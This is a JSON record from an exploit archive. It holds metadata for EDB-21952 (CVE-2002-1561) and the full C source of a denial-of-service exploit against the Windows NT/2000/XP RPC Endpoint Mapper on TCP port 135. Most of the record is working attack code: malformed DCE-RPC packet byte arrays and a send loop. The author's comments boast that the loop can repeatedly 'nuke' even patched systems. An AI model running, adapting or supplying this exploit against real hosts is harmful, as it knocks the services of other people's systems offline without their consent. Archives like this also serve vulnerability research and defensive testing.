{"exploit":{"id":"EDB-21952","name":"Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (DoS) (2)","description":"Microsoft Windows XP/2000/NT 4.0 - RPC Service Denial of Service (DoS) (2)","cves":["CVE-2002-1561"],"author":"Trancer","published":"2002-10-22","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21952","path":"exploits/windows/dos/21952.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21952.c","vulnerabilities":[{"id":"CVE-2002-1561","state":"PUBLISHED","title":null,"titleSource":null,"description":"The RPC component in Windows 2000, Windows NT 4.0, and Windows XP allows remote attackers to cause a denial of service (disabled RPC service) via a malformed packet to the RPC Endpoint Mapper at TCP port 135, which triggers a null pointer dereference.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-1561","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-1561"},"updatedAt":"2024-08-08T03:26:29.095Z","retrievedAt":"2026-11-27T13:08:32.963Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21952.png?v=2","url":"https://exploitbin.com/exploits/EDB-21952","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21952/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21952/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2002/https://www.securityfocus.com/bid/6005/info\n\nThe Microsoft Windows RPC service contains a flaw that may allow a remote attacker to cause a denial of service. By sending a specifically malformed packet to TCP port 135, the RPC service will be disabled.\n\nThis vulnerability was originally reported to only affect Windows 2000. Microsoft has confirmed that Windows NT 4.0 and XP are also vulnerable.\n\nIt has been reported that installation of the provided patch will cause some problems in IIS environments. Specifically, users who are using COM+ in IIS environments may experience problems with ASP transactions.\n\nA variant of this issue has been reported which allegedly affects patched systems. It is apparently possible to trigger this variant by flooding a system with malformed packets.\n\n/*\n* Microsoft Windows NT RPC Service Denial of Service Vulnerability\n*\n* Orginal Code By Lion @ http://www.cnhonker.com\n* Upgraded By Trancer @ http://BinaryVision.tech.nu\n*\n* I have notice that even after a Windows NT system is patched aginst this\nvulnerability with an offical M$ update,\n* an attacker can still DoS that system if he activate this exploit a lot\nof times, fast.\n* So I've upgraded the exploit by looping it and letting you control the\ntimes you want to nuke a system\n* (with a patched 2000\\XP 250-400 times is recommended).\n*\n* That's it. enjoy :-)\n\\*\n\n#include <winsock2.h>\n#include <stdio.h>\n\n#pragma comment(lib, \"ws2_32.lib\")\n\nchar sendcode1[] =\n  \"\\x05\\x00\\x0b\\x03\\x10\\x00\\x00\\x00\\x48\\x00\\x00\\x00\\x02\\x00\\x00\\x00\"\n  \"\\xd0\\x16\\xd0\\x16\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\n  \"\\x60\\x9e\\xe7\\xb9\\x52\\x3d\\xce\\x11\\xaa\\xa1\\x00\\x00\\x69\\x01\\x29\\x3f\"\n  \"\\x02\\x00\\x02\\x00\\x04\\x5d\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00\"\n  \"\\x2b\\x10\\x48\\x60\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x01\\x10\\x00\\x00\\x00\"\n  \"\\xd0\\x16\\x00\\x00\\x8f\\x00\\x00\\x00\\x20\\x27\\x01\\x00\\x00\\x00\\x02\\x00\"\n  \"\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x00\\x00\\x00\";\n\nchar sendcode2[] =\n  \"\\x88\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\x13\\x00\\x00\";\n\nchar sendcode3[] =\n  \"\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n  \"\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\";\n\nchar sendcode4[] =\n  \"\\xfe\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\xfe\\xff\\x00\\x00\\x3d\\x3d\\x3d\\x3d\"\n  \"\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\\x3d\"\n  \"\\x05\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xd0\\x16\\x00\\x00\\x8f\\x00\\x00\\x00\"\n  \"\\x50\\x10\\x01\\x00\\x00\\x00\\x02\\x00\";\n\nchar sendcode5[] =\n  \"\\x05\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xd0\\x16\\x00\\x00\\x8f\\x00\\x00\\x00\"\n  \"\\x80\\xf9\\x00\\x00\\x00\\x00\\x02\\x00\";\n\nchar sendcode6[] =\n  \"\\x05\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xd0\\x16\\x00\\x00\\x8f\\x00\\x00\\x00\"\n  \"\\xb0\\xe2\\x00\\x00\\x00\\x00\\x02\\x00\";\n\nchar sendcode7[] =\n  \"\\x05\\x00\\x00\\x02\\x10\\x00\\x00\\x00\\x60\\x15\\x00\\x00\\x8f\\x00\\x00\\x00\"\n  \"\\x60\\x15\\x00\\x00\\x00\\x00\\x02\\x00\";\n\nchar sendcode8[] =\n  \"\\x00\\x00\\x01\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x10\\x00\\x00\";\n\nint main(int argc, char *argv[])\n{\n  WSADATA wsaData;\n  WORD wVersionRequested;\n  struct hostent *pTarget;\n  struct sockaddr_in sock;\n  char *targetip;\n  int port,bufsize,times,i;\n  SOCKET s;\n  char buffer[20480];\n\n  printf(\"======================= Windows NT Multi RPC Nuke V0.12\n======================\\r\\n\");\n  printf(\"=============== Orginal Code By Lion @ http://www.cnhonker.com\n===============\\r\\n\");\n  printf(\"============= Upgraded By Trancer @ http://BinaryVision.tech.nu\n==============\\r\\n\\n\");\n\n  if (argc < 2)\n  {\n    printf(\"Usage:\\r\\n\");\n    printf(\" %s <TargetIP> <TargetPort> <BufferSize> <Times>\\r\\n\", argv[0]);\n    printf(\"Exaple: %s 198.167.0.1 135 512 250\\r\\n\", argv[0]);\n    printf(\"PS:\\r\\n\");\n    printf(\" If target is XP, try 2 times.\\r\\n\");\n    exit(1);\n  }\n\n  wVersionRequested = MAKEWORD(1, 1);\n  if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;\n\n  targetip = argv[1];\n  port = 135;\n  if (argc >= 3) port = atoi(argv[2]);\n  bufsize = 512;\n  if (argc >= 4) bufsize = atoi(argv[3]);\n  times = 1;\n  if (argc >= 5) times = atoi(argv[4]);\n\n  for (i = 0; i < times; i = i + 1)\n  {\n\n    s = socket(AF_INET, SOCK_STREAM, 0);\n    if(s==INVALID_SOCKET)\n    {\n      printf(\"Socket error!\\r\\n\");\n      exit(1);\n    }\n\n    printf(\"Resolving Hostnames...\\n\");\n    if ((pTarget = gethostbyname(targetip)) == NULL)\n    {\n      printf(\"Resolve of %s failed, please try again.\\n\", argv[1]);\n      exit(1);\n    }\n\n    memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);\n    sock.sin_family = AF_INET;\n    sock.sin_port = htons((USHORT)port);\n\n    printf(\"Connecting...\\n\");\n    if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) )))\n    {\n      printf(\"Couldn't connect to host.\\n\");\n      exit(1);\n    }\n\n    printf(\"Connected!...\\n\");\n    printf(\"Sending Packets...\\n\");\n    if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1)\n    {\n      printf(\"Error sending nuke Packets\\r\\n\");\n      closesocket(s);\n      exit(1);\n    }\n\n    memset(&buffer, '\\x41', 240);\n    send(s, buffer, 240, 0);\n\n    send(s, sendcode2, sizeof(sendcode2)-1, 0);\n    memset(&buffer, '\\x42', 5000);\n    send(s, buffer, 5000, 0);\n\n    send(s, sendcode3, sizeof(sendcode3)-1, 0);\n    memset(&buffer, '\\x43', 512);\n    send(s, buffer, 512, 0);\n\n    send(s, sendcode4, sizeof(sendcode4)-1, 0);\n    memset(&buffer, '\\x44', 20480);\n    send(s, buffer, 20480, 0);\n\n    memset(&buffer, '\\x44', 5000);\n    send(s, buffer, 5000, 0);\n\n    send(s, sendcode5, sizeof(sendcode5)-1, 0);\n    memset(&buffer, '\\x45', 5000);\n    send(s, buffer, 5000, 0);\n\n    send(s, sendcode6, sizeof(sendcode6)-1, 0);\n    memset(&buffer, '\\x46', 5000);\n    send(s, buffer, 5000, 0);\n\n    send(s, sendcode7, sizeof(sendcode7)-1, 0);\n    memset(&buffer, '\\x47', 5000);\n    send(s, buffer, 5000, 0);\n\n    send(s, sendcode8, sizeof(sendcode8)-1, 0);\n    memset(&buffer, '\\x48', 5000);\n    send(s, buffer, 5000, 0);\n    i = i + 1;\n  }\n\n  if (times < 2)\n  {\n    printf(\"Nuked! If target is XP, try a again! :)\\r\\n\");\n  }\n  else\n  {\n    printf(\"%s was nuked %s times\\r\\n\", argv[1], argv[4]);\n  }\n\n  closesocket(s);\n  WSACleanup();\n  return 0;\n}","sha256":"bf9f5b403a4f033127687a93c5bb8918b41e5327f060a2d336233c2970417447","bytes":6055,"fetchedAt":"2026-11-27T13:08:29.832Z","encoding":"utf-8 (display only; download retains original bytes)"}